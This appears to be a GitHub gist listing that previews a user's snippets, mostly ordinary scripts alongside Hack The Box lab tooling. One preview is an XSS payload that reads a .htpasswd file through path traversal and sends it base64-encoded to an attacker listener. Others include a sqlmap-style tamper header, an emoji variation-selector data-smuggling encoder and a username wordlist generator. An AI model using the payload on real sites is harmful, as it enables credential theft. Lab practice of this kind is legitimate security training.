This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import hmac | |
import hashlib | |
import json | |
from lib.core.data import kb | |
from lib.core.enums import PRIORITY | |
__priority__ = PRIORITY.NORMAL |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Common useful commands | |
# Must be sourced first. | |
# . .\CcHelper.ps1 | |
# Dependencies | |
# donet package add coverlet.msbuild | |
# dotnet tool install -g dotnet-reportgenerator-globaltool | |
# dotnet tool install --global coverlet.console | |
# Useful |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Based off: https://paulbutler.org/2025/smuggling-arbitrary-data-through-an-emoji/ | |
import argparse | |
ENCODING = 'utf-8' | |
HEX_RANGE = 16 | |
CODE_POINT_RANGE = 256 # Variation selectors | |
# Variation selectors block https://unicode.org/charts/nameslist/n_FE00.html | |
# VS1..=VS16 | |
VARIATION_SELECTOR_START = 0xFE00 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div style="width: 220px; height:50px; background-color: #343c41; border-radius:4px; text-align: left; background-image: url(https://www.hackthebox.com/images/icon20.png); background-position: right 5px bottom 5px; background-repeat: no-repeat;"> | |
<style scoped>@font-face {font-family: "Roboto";font-style: normal;font-weight: 400;src: url(https://fonts.gstatic.com/s/ubuntumono/v6/ViZhet7Ak-LRXZMXzuAfkY4P5ICox8Kq3LLUNMylGO4.woff2) format("woff2");}.htb_font {font-family: "Roboto", monospace;}.htb_nickname {color: #ffffff;font-size: 12px;font-weight: bold;}.htb_points {color: #56C0E0;font-size: 10px;}.htb_respect {color: #f7af3e;font-size: 10px;}.htb_ranking {color: #ffffff;font-size: 10px;}.htb_line {line-height: 12px;margin: 0px;padding: 0px;}.htb_link {color: #9acc14;font-size:0.6em;text-decoration: none;}.htb_link:hover {color: #9acc14;font-size:0.6em;text-decoration: underline;}.htb_link:visited {color: #9acc14;}.htb_rank{color: #ffffff;font-size: 11px;}.htb_row1{height:13px;}.htb_row2{height:17px;}.htb_ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function openAllDates() { | |
const parentElement = document.querySelector('.privboard-days'); | |
const spans = parentElement.querySelectorAll('span'); | |
spans.forEach(span => { | |
const anchor = document.createElement('a'); | |
const dayText = span.textContent.replace(/\n/g, ''); | |
anchor.href = `/2024/day/${dayText.replace(/<br>/g, '')}`; // Remove <br> for href | |
anchor.innerHTML = span.innerHTML; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pip install git-filter-repo | |
$filesToDelete = @("some.txt", "other.txt") | |
$excludeFolders = @("template") | |
Get-ChildItem -Path . -Recurse -File | Where-Object { | |
$filesToDelete.Contains($_.Name) -and | |
-not $excludeFolders.Contains($_.Directory.Name) | |
} | % { git filter-repo --path $_.FullName --invert-paths --Force } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat <<EOF > exploit.md | |
<script> | |
fetch("http://xxxxx.htb/messages.php?file=../../../../var/www/statistics.xxxxx.htb/.htpasswd") | |
.then(response => response.text()) | |
.then(data => { | |
fetch("http://10.10.xx.xx:8000/?data=" + btoa(data)); | |
}) | |
.catch(error => console.error("Error fetching the messages:", error)); | |
</script> | |
EOF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const base64Decode = str => Uint8Array.from(atob(str), c => c.charCodeAt(0)); | |
const base64Encode = bytes => btoa(String.fromCharCode(...new Uint8Array(bytes))); | |
const generatePassword = async (nounce, saltedPassword) => { | |
const bytesNounce = base64Decode(nounce); | |
const bytesSaltedPassword = base64Decode(saltedPassword); | |
const concatenatedBytes = new Uint8Array([...bytesNounce, ...bytesSaltedPassword]); | |
const hash = await crypto.subtle.digest('SHA-256', concatenatedBytes); | |
return base64Encode(hash); | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import argparse | |
import http.server | |
import socketserver | |
import socket | |
import os | |
import pty | |
class CustomRequestHandler(http.server.SimpleHTTPRequestHandler): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
n = 3 | |
names = [ | |
"Jordan", "Haig", "Emily", "Johns", "Elisa", "Maldonado", "Brandi", "Simmons", "Gerard", "Sekawa", "Shelly", "Buckle", "Alice", "Apple", "Maxis", "Stewart", "Olivia", "Johnson", "Ava", "Brown", "Sophia", "Taylor", "Amelia", "Davis", "Evelyn", "Rodriguez", "Emma", "Smith", "Charlotte", "Jones", "Mia", "Miller", "Harper", "Garcia", "Abigail", "Martinez" | |
] | |
permutations = [''.join(p) for p in itertools.product(names, repeat=n)] | |
[print(perm) for perm in permutations] |
NewerOlder